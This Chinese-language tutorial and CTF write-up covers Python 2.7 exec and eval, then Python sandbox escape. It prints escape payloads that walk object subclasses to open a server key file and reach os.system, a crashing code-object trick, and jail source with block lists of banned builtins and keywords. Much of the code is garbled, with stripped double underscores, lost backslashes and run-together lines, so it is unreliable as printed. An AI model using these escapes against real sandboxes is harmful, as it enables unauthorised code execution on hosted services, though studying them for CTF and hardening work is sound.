分析Python沙箱逃逸问题
[toc]
(基于 python 2.7)
在解决 python 沙箱逃逸这个问题之前,需要先了解 python 中的一些语法细节。如果已经了解了eval函数的使用方法,就可以跳过第一和第二部分,直接看 3x00 吧。
0x00 表达式的执行
用执行某个表达式的内容,可以使用 exec 或 eval 来进行。
0x01 exec
exec_stmt: "exec" expression ["in" expression ["," expression]]
其中,["in" expression ["," expression]]是可选表达式。
1,对代码/字符串进行操作
exec "x = 1+1"print x#result:#2
exec "x = 'a' + '42'"print x#result:#a42
也可以执行多行代码,用三个引号括起来就可以:
a = 0exec"""for _ in range(input()): a += 1"""print a
2,文件操作
execfile
一方面可以使用 execfile,它的作用是执行这个文件的内容
立即学习“Python免费学习笔记(深入)”;
#Desktop/pytest.txtprint 'Gou Li Guo Jia Sheng Si Yi'
#Desktop/pytest.pyexecfile(r'C:UsersThinkDesktoppytest.txt')
pytest.py的输出结果为:
Gou Li Guo Jia Sheng Si Yi
execfile执行了pytest.txt里的内容,注意是执行而非读取,如果pytest.txt中的内容是'Gou Li Guo Jia Sheng Si Yi',那么将不会得到任何输出。
当然,执行一个 .py 文件也是可以的。而执行 .txt 文件的要求是,txt 文件中的内容是 ASCII 。最好还是执行一个 .py 文件而非 txt 文件。
这种执行其实是将 execfile 所指向的文件的内容直接 copy 过去。
例如:
#C:/Users/Think/Desktop/Mo.py#coding:utf-8a = 2print '稻花香里说丰年,听取蛤声一片'
#C:/Users/Think/Desktop/pytest.pya = 3execfile(r'C:UsersThinkDesktopMo.py')print a
此时,pytest 的结果为:
稻花香里说丰年,听取蛤声一片2
其实就是完全地执行一遍文件里的内容……而不是当做函数调用来执行。
直接使用 exec 进行操作
直接使用 exec ,也是执行文件的内容,但是可以使用 in 表达式来使用 Global 变量域。
#C:UsersThinkDesktop est1.txtprint poetry
#pytest.pyresult={'poetry':'苟利国家生死以'}exec open(r'C:UsersThinkDesktop est1.txt') in result
3,tuple 的使用
b = 42tup1 = (123,456,111)exec "b = tup1[2]"print b
输出结果为
111
exec 的 globals / locals 参数的使用方法
exec支持两个可选参数,不支持关键字指定参数。
Python 采用的是静态作用域(词法作用域)规则,类似于 C++,在该函数内该变量可用,在函数外不可用。
在 Pascal 语言中,采用的是动态作用域,也就是说,一旦函数被执行,该变量就会存在。例如,在函数 g 当中套了个函数 f,程序执行到f时,会在f中寻找表达式中的变量,如果找不到,就往外层找,此时g中若存在这个变量,则使用该变量,若不存在,继续向外逐层查找。
需要注意的是, exec是语法声明(statement),而非函数(function),而execfile 是函数。
原因如下:
在 exec中直接打印外部变量:
b = 42tup1 = (123,456,111)exec "print tup1[1]"#结果为 456
在函数中打印外部变量:
b = 42tup1 = (123,456,111)def pr(): print tup[1]pr()#结果:#NameError: global name 'tup' is not defined
LEGB 规则
exec 中的 globals 参数
exec_stmt: "exec" expression ["in" expression ["," expression]]
globals 是dict 对象,它指定了 exec 中需要的全局变量。
globlas等价于globals()
locals等价于globals参数的值
1,globals
#coding:utf-8k = {'b':42}exec ("a = b + 1",k)print k['a'],k['b']#结果:#43 42
在段代码中,exec中的值是locals,它来源于指定的k,即globals.
并且,globals 取于全局变量,作用于全局变量。
2,locals
g = {'b':100}exec("""age = b + aprint age """,g,{'a':1})#结果:#101
比较:
g = {'b':100,'a':2}exec("""age = b + aprint age """,g,{'a':1})#结果:#101
可以看到,相对于exec来说,其内部具有三个变量,即 age,b,a
在制定之后,b 来自 g (global),而 a 来自自定的 local 变量。
由此可见,local 取于局部变量,作用于局部变量。
为了验证这一结论,对稍加修改:
g = {'b':100}exec("""age = b + aprint age """,g,{'a':1})print g['a']#结果:#101# print g['a']#KeyError: 'a'
可以看到,a并没有作用于字典 g(全局的),而上面第一小节提到的globals中,键值a已经填入了全局的字典g.
exec 使用结论
可以做出以下结论:
我们将exec之后包括的内容分为三个部分:p1、p2、p3
exec ("""p1""",p2,p3)
第一部分 p1,其中的内容是,就是要执行的内容;
第二部分p2,其中的内容来自全局变量,会在上一个变量作用域当中寻找对应的值,并将其传递给表达式,如果不存在p3,p1中的结果会传回全局变量;
第三部分p3,其中的内容是局部的,将用户在其中自设的局部值传递给p1,并且在局部中生效,如果在外部引用此处用到的值将会报错。
exec 反汇编
#use `exec` source codeimport disdef exec_diss(): exec "x=3"dis.dis(exec_diss)
# use `exec` disassembly 4 0 LOAD_CONST 1 ('x=3') 3 LOAD_CONST 0 (None) 6 DUP_TOP 7 EXEC_STMT 8 LOAD_CONST 0 (None) 11 RETURN_VALUE
#not use `exec` scource codeimport disdef exec_diss(): x=3dis.dis(exec_diss)
#not use exec disassembly 3 0 LOAD_CONST 1 (3) 3 STORE_FAST 0 (x) 6 LOAD_CONST 0 (None) 9 RETURN_VALUE
指令解释在这里:http://www.php.cn/
简要说明下,TOS 是top-of-stack,就是栈顶。
LOAD_CONST是入栈,RETURN_VALUE 是还原esp。
其中两者的不同之处在于:
# use `exec` disassembly6 DUP_TOP #复制栈顶指针7 EXEC_STMT #执行 `exec TOS2,TOS1,TOS`,不存在的填充 `none`
也就是说,def函数是将变量入栈,然后调用时就出栈返回;而使用了exec之后,除了正常的入栈流程外,程序还会将栈顶指针复制一遍,然后开始执行exec的内容。
0x02 eval
eval用以动态执行其后的代码,并返回执行后得到的值。
eval(expression[, globals[, locals]])
eval也有两个可选参数,即 globals 、locals
使用如下:
print eval("1+1")#result:#2
eval 的 globals / locals 参数的使用方法
1,globals
类似于 exec:
g = {'a':1}print eval("a+1",g)#result:#2
2,locals
k = {'b':42}print eval ("b+c",k,{'c':2})#result:#44
eval反汇编
#use_evalimport disdef eval_dis(): eval ("x = 3")dis.dis(eval_dis)
#use_eval_disassembly 3 0 LOAD_GLOBAL 0 (eval) 3 LOAD_CONST 1 ('x = 3') 6 CALL_FUNCTION 1 9 POP_TOP 10 LOAD_CONST 0 (None) 13 RETURN_VALUE
比较:
#not_use_evalimport disdef no_eval_dis(): x = 3dis.dis(no_eval_dis)
#not_use_eval_disassembly 3 0 LOAD_CONST 1 (3) 3 STORE_FAST 0 (x) 6 LOAD_CONST 0 (None) 9 RETURN_VALUE
同样是建栈之后执行。
1x00 exec 和 eval 的区别
exec无返回值:
exec ("print 1+1")#result:#2
如果改成
print exec("1+1")
这就会因为没有返回值(不存在该变量而报错)。
而 eval 是有返回值的:
eval ("print 1+1")#result:#SyntaxError: invalid syntax
如果想要打印,则必须在 eval之前使用print。
但是奇怪的是,为什么 exec 反汇编出的内容当中,也会有一个RETURN_VALUE 呢?
1x01确定RETURN_VALUE来源
为了确定这个RETURN_VALUE究竟是受到哪一部分的影响,可以改动一下之前的代码,
import disdef exec_diss(): exec "x=3" return 0dis.dis(exec_diss)
3 0 LOAD_CONST 1 ('x=3') 3 LOAD_CONST 0 (None) 6 DUP_TOP 7 EXEC_STMT 4 8 LOAD_CONST 2 (0) 11 RETURN_VALUE
对比eval的:
import disdef eval_diss(): eval ("3") return 0dis.dis(eval_diss)
3 0 LOAD_GLOBAL 0 (eval) 3 LOAD_CONST 1 ('3') 6 CALL_FUNCTION 1 9 POP_TOP 4 10 LOAD_CONST 2 (0) 13 RETURN_VALUE
对比 eval和exec之后,会发现exec使用的是DUP_TOP(),而eval使用的是POP_TOP,前者是复制 TOS,后者是推出TOS。
在 C++ 反汇编当中,会发现对函数调用的最后会有 POP ebp,这是函数执行完之后的特征。在 Python 中,eval就是一种函数,exec是表达式。这也解释了之前说的eval有返回值而exec无返回值的原因。
而最后的 RETURN_VALUE,很明显可以看出并非eval或exec的影响,而是 Python 中每一个程序执行完之后的正常返回(如同 C++ 中的 return 0)。
可以写段不包含这两者的代码来验证:
import disdef no(): a = 1+1dis.dis(no)
3 0 LOAD_CONST 2 (2) 3 STORE_FAST 0 (a) 6 LOAD_CONST 0 (None) 9 RETURN_VALUE
所以,RETURN_VALUE是每个程序正常运行时就有的。
2x00 eval 的危险性
2x01 先期知识
在 Python 当中, import可以将一个 Python 内置模块导入,import可以接受字符串作为参数。
调用 os.system(),就可以执行系统命令。在 Windows下,可以这么写:
>>> import('os').system('dir')
或者:
>>> import os>>> os.system('dir')
也可以达到这个目的。
这两种方法会使得系统执行dir,即文件列出命令,列出文件后,读取其中某个文件的内容,可以:
with open('example.txt') as f: s = f.read().replace('', '')print s
如果有一个功能,设计为执行用户所输入的内容,如
print eval("input()")
此时用户输入1+1,那么会得到返回值 2。若前述的
os.system('dir')
则会直接列出用户目录。
但是,从之前学过的可以看到,如果为eval指定一个空的全局变量,那么eval就无法从外部得到 os.system模块,这会导致报错。
然而,可以自己导入这个模块嘛。
import('os').system('dir')
这样就可以继续显示文件了。
如果要避免这一招,可以限定使用指定的内建函数builtins,这将会使得在第一个表达式当中只能采用该模块中的内建函数名称才是合法的,包括:
>>> dir('builtins')['add', 'class', 'contains', 'delattr', 'doc', 'eq', 'format', 'ge', 'getattribute', 'getitem', 'getnewargs', 'getslice', 'gt', 'hash', 'init', 'le', 'len', 'lt', 'mod', 'mul', 'ne', 'new', 'reduce', 'reduce_ex', 'repr', 'rmod', 'rmul', 'setattr', 'sizeof', 'str', 'subclasshook', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
这样,就可以写成:
eval("input()",{'builtins':{}})
就可以限制其只能使用内置的函数。
同时也可以将内置模块置为None,如:
env = {}env["locals"] = Noneenv["globals"] = Noneeval("input()", env)
但是这种情况下builtions对buitin的引用依然有效。
s = """(lambda fc=( lambda n: [ c for c in ().class.bases[0].subclasses() if c.name == n ][0] ): fc("function")( fc("code")( 0,0,0,0,"KABOOM",(),(),(),"","",0,"" ),{} )())()"""eval(s, {'builtins':{}})
(来自:http://www.php.cn/)
为了创建一个object,要通过
().class.bases[0]
bases类当中的第一个 元素就是元组(tuple),而tuple就是一个object.
lambda这一段主要是构造出一个函数,这个函数要跑完 subclasses来寻找一个object。
这是一种情形。总的来说,就是跑一个通过object假的bytecodes.
从上述情况来看,eval是不安全的。
3x00 Python 沙箱逃逸
3x01 第一题
这是一道 CTF 题目,只给了这个:
def make_secure(): UNSAFE = ['open', 'file', 'execfile', 'compile', 'reload', 'import', 'eval', 'input'] for func in UNSAFE: del builtins.dict[func]from re import findall# Remove dangerous builtinsmake_secure()print 'Go Ahead, Expoit me >;D'while True: try: # Read user input until the first whitespace character inp = findall('S+', raw_input())[0] a = None # Set a to the result from executing the user input exec 'a=' + inp print 'Return Value:', a except Exception, e: print 'Exception:', e
make_secure这个模块很好理解,看看下边的:
from re import findall
这是 Python 正则表达式的模块。而re.findall可以寻找指定的字符串。
把这一部分单独抽离出来尝试一下:
from re import findallinp = findall('S+',raw_input())[0]a = Noneexec 'a = ' +inpprint 'Return Value:',a
运行后输入 1+1,返回结果为2.
构造
之前已经说过可以利用
().class.bases[0].subclasses()
在该题中,主办方搞了个在服务器上的文件,里边有 key,而[40] 是文件,直接就可以了。
().class.bases[0].subclasses()[40]("./key").read()
第二题
#!/usr/bin/env python from future import print_function print("Welcome to my Python sandbox! Enter commands below!") banned = [ "import", "exec", "eval", "pickle", "os", "subprocess", "kevin sucks", "input", "banned", "cry sum more", "sys"] targets = builtins.dict.keys() targets.remove('raw_input') targets.remove('print') for x in targets: del builtins.dict[x] while 1: print(">>>", end=' ') data = raw_input() for no in banned: if no.lower() in data.lower(): print("No bueno") break else: # this means nobreak exec data
[x for x in [].class.base.subclasses() if x.name == 'catch_warnings'][0].init.func_globals['linecache'].dict['o'+'s'].dict['sy'+'stem']('echo Hello SandBox')
4x00 blue-lotus MISC - pyjail Writeup
给了这个:
#!/usr/bin/env python# coding: utf-8def del_unsafe(): UNSAFE_BUILTINS = ['open', 'file', 'execfile', 'compile', 'reload', 'import', 'eval', 'input'] ## block objet? for func in UNSAFE_BUILTINS: del builtins.dict[func]from re import findalldel_unsafe()print 'Give me your command!'while True: try: inp = findall('S+', raw_input())[0] print "inp=", inp a = None exec 'a=' + inp print 'Return Value:', a except Exception, e: print 'Exception:', e
比较一下和上边的第一题有什么不同,答案是……并没有什么不同……